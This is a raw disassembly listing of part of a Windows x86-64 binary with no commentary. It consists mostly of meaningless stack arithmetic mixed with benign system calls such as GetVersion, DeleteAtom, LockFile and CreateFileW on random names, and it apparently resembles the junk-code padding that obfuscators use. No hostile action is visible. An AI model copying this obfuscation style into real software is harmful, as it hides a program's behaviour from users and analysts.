mov rax, qword [rsp + 0x14c00]
mov rcx, qword [rsp + 0x14c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15b20]
mov dword [rcx], eax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb174], eax
mov eax, dword [rsp + 0x99e8]
mov dword [rsp + 0xb178], eax
mov rax, qword [rsp + 0x15898]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa9e8]
sar eax, cl
mov rcx, qword [0x140363bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13960]
mov ecx, dword [rsp + 0xa134]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xad94], eax
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x400]
movsx ecx, byte [rsp + 0x137]
and eax, ecx
mov byte [rsp + 0x729], al
lea rax, [rsp + 0x1c3c]
mov qword [rsp + 0x16208], rax
movzx eax, word [rsp + 0x2a30]
mov rcx, qword [rsp + 0x151d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ea]
mov rcx, qword [rsp + 0x15048]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x141a8]
mov rcx, qword [0x140363c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13898]
mov dword [rcx], eax
lea rax, [rsp + 0xabcc]
mov qword [rsp + 0x16210], rax
movzx eax, byte [rsp + 0x730]
movzx ecx, byte [rsp + 0x328]
sub eax, ecx
mov rcx, qword [rsp + 0x15930]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cec]
or eax, ecx
mov word [0x14035cbe0], ax
mov rax, qword [rsp + 0x13280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92f0], eax
mov rax, qword [rsp + 0x13b80]
mov eax, dword [rax]
mov dword [rsp + 0xb17c], eax
movzx ecx, word [rsp + 0x2b74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2db4], ax
mov eax, dword [0x140363960]
mov ecx, dword [rsp + 0xaa4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15898]
mov dword [rcx], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0x16218], rax
mov rax, qword [rsp + 0x148c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
and eax, ecx
mov rcx, qword [rsp + 0x152c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x126c]
movzx ecx, word [rsp + 0x2c98]
add eax, ecx
mov rcx, qword [rsp + 0x14bd8]
mov word [rcx], ax
lea rax, [rsp + 0x6824]
mov qword [rsp + 0x16220], rax
mov eax, dword [rsp + 0x8af8]
movzx ecx, al
mov eax, dword [rsp + 0xab9c]
shl eax, cl
mov dword [rsp + 0x8a30], eax
movzx eax, word [0x14035cc94]
mov word [0x140363124], ax
movzx ecx, word [rsp + 0x2d60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2abc], ax
movsx eax, byte [rsp + 0x5fd]
movsx ecx, byte [rsp + 0x6fb]
xor eax, ecx
mov byte [rsp + 0x576], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1bab
mov r9d, 0x100f
mov r8d, 0x4052d86b
mov edx, 1
mov rcx, qword [rsp + 0x160b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa968], eax
movzx eax, byte [rsp + 0x744]
mov rcx, qword [rsp + 0x15220]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x290], al
mov rax, qword [0x140363cb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
or eax, ecx
mov rcx, qword [rsp + 0x156a8]
mov word [rcx], ax
lea rax, [rsp + 0xae24]
mov qword [rsp + 0x16228], rax
mov eax, dword [rsp + 0x8df0]
mov ecx, dword [rsp + 0x8414]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b58]
mov dword [rcx], eax
mov eax, dword [0x140363de0]
mov dword [rsp + 0xb180], eax
mov eax, dword [rsp + 0x9c30]
mov ecx, dword [rsp + 0xad28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf98], eax
mov rax, qword [rsp + 0x14b00]
mov rcx, qword [0x140363e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x733c], eax
lea rax, [rsp + 0x2d68]
mov qword [rsp + 0x16230], rax
mov rax, qword [rsp + 0x14398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14158]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363ef8]
mov byte [rcx], al
mov eax, dword [rsp + 0xaa54]
mov ecx, dword [rsp + 0xaaec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab64], eax
lea rax, [rsp + 0xa49c]
mov qword [rsp + 0x16238], rax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x81b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa4c], eax
lea rax, [rsp + 0x9ffc]
mov qword [rsp + 0x16240], rax
movzx eax, word [0x14035cc54]
mov rcx, qword [rsp + 0x15ba8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c9]
add eax, ecx
mov byte [rsp + 0x72e], al
lea rax, [rsp + 0x33e]
mov qword [rsp + 0x16248], rax
mov rax, qword [0x140363de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14368]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2558], ax
lea rax, [rsp + 0xaeac]
mov qword [0x1403640c0], rax
lea rax, [rsp + 0xaff0]
mov qword [rsp + 0x16250], rax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x720]
sub eax, ecx
mov byte [rsp + 0x2c8], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ca4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.pqk073RBs_bbbabNbvZsIV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16258], rax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov dword [rsp + 0xb184], eax
mov eax, dword [rsp + 0xa9dc]
movzx ecx, al
mov eax, dword [0x140363f68]
shr eax, cl
mov dword [rsp + 0x6ae4], eax
mov eax, dword [rsp + 0xa9ec]
movzx ecx, al
mov eax, dword [rsp + 0xa91c]
shl eax, cl
mov dword [rsp + 0x6354], eax
mov eax, dword [0x140363a1c]
mov ecx, dword [rsp + 0xaa18]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15818]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x127a
mov r9d, 0x3611
mov r8d, 0x104c
mov edx, 0x1c59
mov rcx, qword [rsp + 0x16068]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb028], eax
movzx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x14788]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15518]
mov byte [rcx], al
movzx eax, word [rsp + 0x2af4]
movzx ecx, word [rsp + 0x2548]
and eax, ecx
mov rcx, qword [0x140363f78]
mov word [rcx], ax
mov eax, dword [0x140363f10]
mov dword [rsp + 0xb188], eax
mov rax, qword [rsp + 0x158a0]
mov ecx, dword [rsp + 0xade8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xadfc], eax
lea rax, [rsp + 0x9510]
mov qword [rsp + 0x16260], rax
mov rax, qword [rsp + 0x13c50]
mov ecx, dword [rsp + 0xaa18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15928]
mov dword [rcx], eax
lea rax, [rsp + 0xaa70]
mov qword [rsp + 0x16268], rax
mov rax, qword [rsp + 0x146b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x169c]
add eax, ecx
mov rcx, qword [rsp + 0x13e48]
mov word [rcx], ax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x15768]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb18c], eax
mov rax, qword [0x1403639b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13250]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15a48]
mov byte [rcx], al
mov rax, qword [rsp + 0x15860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20cc], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x11c]
or eax, ecx
mov byte [0x1403535ce], al
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13770]
mov ecx, dword [rsp + 0xaca4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae24], eax
mov rax, qword [rsp + 0x15548]
mov eax, dword [rax]
mov dword [rsp + 0xb190], eax
movzx eax, word [rsp + 0x29d0]
movzx ecx, word [0x140363064]
xor eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaee0], eax
mov rax, qword [rsp + 0x15710]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6dd]
shl eax, cl
mov byte [rsp + 0x6f0], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaac4], eax
mov eax, dword [rsp + 0x6898]
mov dword [rsp + 0xb194], eax
lea rcx, [rsp + 0x41f88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 2
lea r8, [rsp + 0x137c8]
mov rdx, qword [rsp + 0x14fc0]
mov rcx, qword [rsp + 0x15750]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa8c], eax
mov rax, qword [rsp + 0x13470]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14b60]
mov qword [rsp + 0x16270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16270]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb14c], eax
mov rax, qword [rsp + 0x13f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ef4], eax
mov rax, qword [rsp + 0x15e50]
mov ecx, dword [rsp + 0x910c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab18], eax
mov rax, qword [rsp + 0x15608]
movzx eax, word [rax]
mov word [0x14036313c], ax
mov rax, qword [rsp + 0x14b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13b38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x592], al
mov eax, dword [rsp + 0xadb4]
mov dword [rsp + 0xb198], eax
mov rax, qword [rsp + 0x14978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8a08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147a0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x2d74]
and eax, ecx
mov word [rsp + 0x1f40], ax
movsx eax, byte [rsp + 0x576]
movsx ecx, byte [0x1403535ca]
add eax, ecx
mov rcx, qword [rsp + 0x13ef0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x44a]
mov rcx, qword [rsp + 0x14d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x720], al
movzx eax, word [rsp + 0x2da4]
mov word [rsp + 0x2db8], ax
mov rax, qword [rsp + 0x159a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab00], eax
mov rax, qword [rsp + 0x13a48]
mov rcx, qword [rsp + 0x13d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cc84], eax
lea rax, [rsp + 0xae04]
mov qword [rsp + 0x16278], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov ecx, dword [0x140363a74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6304], eax
lea rcx, [0x140331578]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0x15c58]
mov eax, dword [rax]
mov dword [rsp + 0xb19c], eax
mov rax, qword [rsp + 0x15008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x145f8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x153f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
sar eax, cl
mov byte [rsp + 0x6d4], al
lea rcx, [rsp + 0x41f58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x16250]
mov ecx, dword [rsp + 0x7200]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x81ac], eax
mov eax, dword [rsp + 0xac54]
movzx ecx, al
mov eax, dword [rsp + 0xaeec]
shl eax, cl
mov dword [rsp + 0xb06c], eax
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
mov dword [rsp + 0xb1a0], eax
mov rax, qword [rsp + 0x13bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e20]
movzx eax, word [rax]
mov rcx, qword [0x140363a30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x152a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15db8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ec8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x152e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a98]
movsx eax, word [rax]
movsx ecx, word [0x14035cc94]
or eax, ecx
mov word [rsp + 0x117c], ax
movsx eax, byte [rsp + 0x736]
movsx ecx, byte [rsp + 0x6d2]
imul eax, ecx
mov rcx, qword [rsp + 0x13a00]
mov byte [rcx], al
lea rax, [rsp + 0xae20]
mov qword [rsp + 0x16280], rax
mov rax, qword [0x140363e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x72f8], eax
mov rax, qword [rsp + 0x14d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
and eax, ecx
mov rcx, qword [rsp + 0x153a0]
mov byte [rcx], al
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x16288], rax
lea rax, [rsp + 0x8620]
mov qword [0x1403640c8], rax
mov rax, qword [rsp + 0x133f8]
mov ecx, dword [rsp + 0xad68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x78e4], eax
mov rcx, qword [rsp + 0x15578]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15bb0]
mov eax, dword [rax]
mov dword [rsp + 0xb1a4], eax
mov rax, qword [rsp + 0x150d8]
mov rcx, qword [rsp + 0x141a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64f0], eax
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x16290], rax
movzx eax, byte [rsp + 0x5c7]
mov rcx, qword [rsp + 0x14228]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14188]
mov byte [rcx], al
mov rax, qword [rsp + 0x15700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0c8], eax
lea rax, [rsp + 0xae60]
mov qword [rsp + 0x16298], rax
mov rax, qword [rsp + 0x142f8]
mov rcx, qword [rsp + 0x14860]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8388], eax
mov eax, dword [rsp + 0x7c00]
mov ecx, dword [rsp + 0x6384]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363bf0]
mov dword [rcx], eax
lea rdx, [rsp + 0x46030]
mov rcx, qword [rsp + 0x15e00]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb1a8], eax
mov r9d, 0x14c
xor r8d, r8d
lea rdx, [rsp + 0x13bc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9a8], eax
lea rax, [rsp + 0xab70]
mov qword [rsp + 0x162a0], rax
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
xor eax, ecx
mov rcx, qword [rsp + 0x146b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4ff]
movsx ecx, byte [rsp + 0x70d]
shl eax, cl
mov byte [rsp + 0x736], al
mov rax, qword [rsp + 0x15920]
movzx eax, word [rax]
mov word [rsp + 0x2dc0], ax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72b]
sar eax, cl
mov byte [rsp + 0x740], al
lea rax, [rsp + 0xb0b4]
mov qword [rsp + 0x162a8], rax
mov rax, qword [rsp + 0x15950]
mov ecx, dword [rsp + 0x8380]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0x15718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f20]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15460]
mov byte [rcx], al
mov rax, qword [0x140363cb8]
movzx eax, word [rax]
mov word [0x140363184], ax
lea rax, [rsp + 0xa97c]
mov qword [rsp + 0x162b0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
mov rax, qword [rsp + 0x13380]
mov ecx, dword [rsp + 0xb034]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xabcc], eax
mov rax, qword [rsp + 0x15600]
mov rcx, qword [0x140363a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa770], eax
mov rax, qword [rsp + 0x13c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa248]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x279c]
sub eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov word [rcx], ax
lea rax, [rsp + 0x70c]
mov qword [rsp + 0x162b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.VHlttL8ODfLVkxX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x162c0], rax
mov eax, dword [rsp + 0xa398]
mov ecx, dword [rsp + 0x6fb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8670], eax
lea rax, [rsp + 0x7ea4]
mov qword [rsp + 0x162c8], rax
lea rax, [rsp + 0x2d9c]
mov qword [0x1403640d0], rax
mov rax, qword [rsp + 0x15538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14490]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15938]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov byte [rsp + 0x746], al
mov rax, qword [rsp + 0x14718]
movzx eax, word [rax]
movzx ecx, word [0x140362c04]
add eax, ecx
mov word [rsp + 0x2b48], ax
movzx ecx, word [rsp + 0x2c44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c20], ax
mov eax, dword [rsp + 0xb120]
mov ecx, dword [rsp + 0xafc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9138]
movzx ecx, al
mov eax, dword [rsp + 0x9cbc]
shr eax, cl
mov dword [rsp + 0x8870], eax
mov rax, qword [rsp + 0x14838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363ba0]
shl eax, cl
mov rcx, qword [rsp + 0x14ee0]
mov dword [rcx], eax
lea rax, [rsp + 0xa14c]
mov qword [rsp + 0x162d0], rax
mov rax, qword [rsp + 0x162d0]
mov rcx, qword [rsp + 0x14410]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xadfc], eax
mov dword [rsp + 0x20], 0x21bd
mov r9d, 0x655
mov r8d, 0xb25
mov edx, 0x1092
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb1ac], eax
movzx ecx, word [rsp + 0x2b08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b80], ax
movzx eax, word [0x14035cc64]
movzx ecx, word [rsp + 0x29c0]
or eax, ecx
mov rcx, qword [rsp + 0x14658]
mov word [rcx], ax
mov rax, qword [rsp + 0x157e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15400]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140353573], al
lea rax, [rsp + 0x7a08]
mov qword [rsp + 0x162d8], rax
mov rcx, qword [rsp + 0x16030]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xab2c]
mov ecx, dword [rsp + 0x733c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb098], eax
mov eax, dword [rsp + 0xafa8]
mov dword [rsp + 0xb1b0], eax
mov rax, qword [rsp + 0x14860]
mov ecx, dword [rsp + 0x965c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov dword [rcx], eax
mov rax, qword [0x140363980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x2180]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x148c], ax
movzx ecx, word [rsp + 0x2cdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dc4], ax
mov r9d, 2
lea r8, [rsp + 0x15728]
mov rdx, qword [rsp + 0x14c68]
mov rcx, qword [rsp + 0x14c50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [0x140363d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a5c]
or eax, ecx
mov word [rsp + 0x1f40], ax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x162e0], rax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0xab20]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363978]
mov dword [rcx], eax
mov rax, qword [0x140363b38]
mov ecx, dword [rsp + 0xae10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e58]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [rsp + 0x2c64]
and eax, ecx
mov word [rsp + 0x29dc], ax
movzx eax, byte [rsp + 0x6c5]
mov byte [rsp + 0x747], al
mov rax, qword [rsp + 0x14e10]
mov rcx, qword [rsp + 0x14c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa984], eax
movzx ecx, word [rsp + 0x2b8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dc8], ax
mov eax, dword [rsp + 0xaa90]
mov dword [rsp + 0xb1b4], eax
mov rax, qword [rsp + 0x16200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x16010]
mov qword [rsp + 0x162e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa3e0], eax
mov eax, dword [rsp + 0xae60]
movzx ecx, al
mov eax, dword [rsp + 0x9048]
shl eax, cl
mov dword [rsp + 0x95a0], eax
movzx eax, byte [rsp + 0x416]
mov rcx, qword [rsp + 0x15de8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x711], al
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8f0], eax
lea rax, [rsp + 0x2b20]
mov qword [0x1403640d8], rax
mov eax, dword [rsp + 0x8024]
mov ecx, dword [rsp + 0xa8e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162d8]
mov dword [rcx], eax
lea rax, [rsp + 0x72e4]
mov qword [rsp + 0x162f0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaa94], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [0x140364050]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x144e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9b0]
mov dword [rsp + 0xb1b8], eax
mov eax, dword [rsp + 0xa928]
mov ecx, dword [rsp + 0xa9d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d88], eax
mov rax, qword [rsp + 0x147e0]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4d6]
add eax, ecx
mov rcx, qword [rsp + 0x14af0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15f78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d74]
sub eax, ecx
mov word [rsp + 0x22dc], ax
movzx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0x15c30]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x184c], ax
lea rax, [0x140353583]
mov qword [0x1403640e0], rax
lea rax, [rsp + 0xaa44]
mov qword [rsp + 0x162f8], rax
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x15ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14e50]
mov dword [rcx], eax
movzx eax, byte [0x14035e546]
mov rcx, qword [rsp + 0x15350]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15100]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.NQz5IsISMLD7uUed
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16300], rax
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b4], eax
mov eax, dword [rsp + 0xa248]
mov dword [rsp + 0xb1bc], eax
mov rax, qword [rsp + 0x15468]
mov ecx, dword [rsp + 0xaff0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9f8], eax
mov rax, qword [rsp + 0x14258]
mov ecx, dword [rsp + 0xb01c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8224], eax
mov rax, qword [0x140363988]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ae0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140363f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x15b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73e]
shl eax, cl
mov byte [rsp + 0x710], al
mov eax, dword [rsp + 0xa278]
movzx ecx, al
mov eax, dword [rsp + 0xae64]
shr eax, cl
mov dword [rsp + 0xadcc], eax
lea rax, [rsp + 0xac84]
mov qword [rsp + 0x16308], rax
movsx eax, word [rsp + 0x2d88]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a0c], ax
lea rax, [rsp + 0x6cc]
mov qword [rsp + 0x16310], rax
lea rcx, [rsp + 0x41e98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d68]
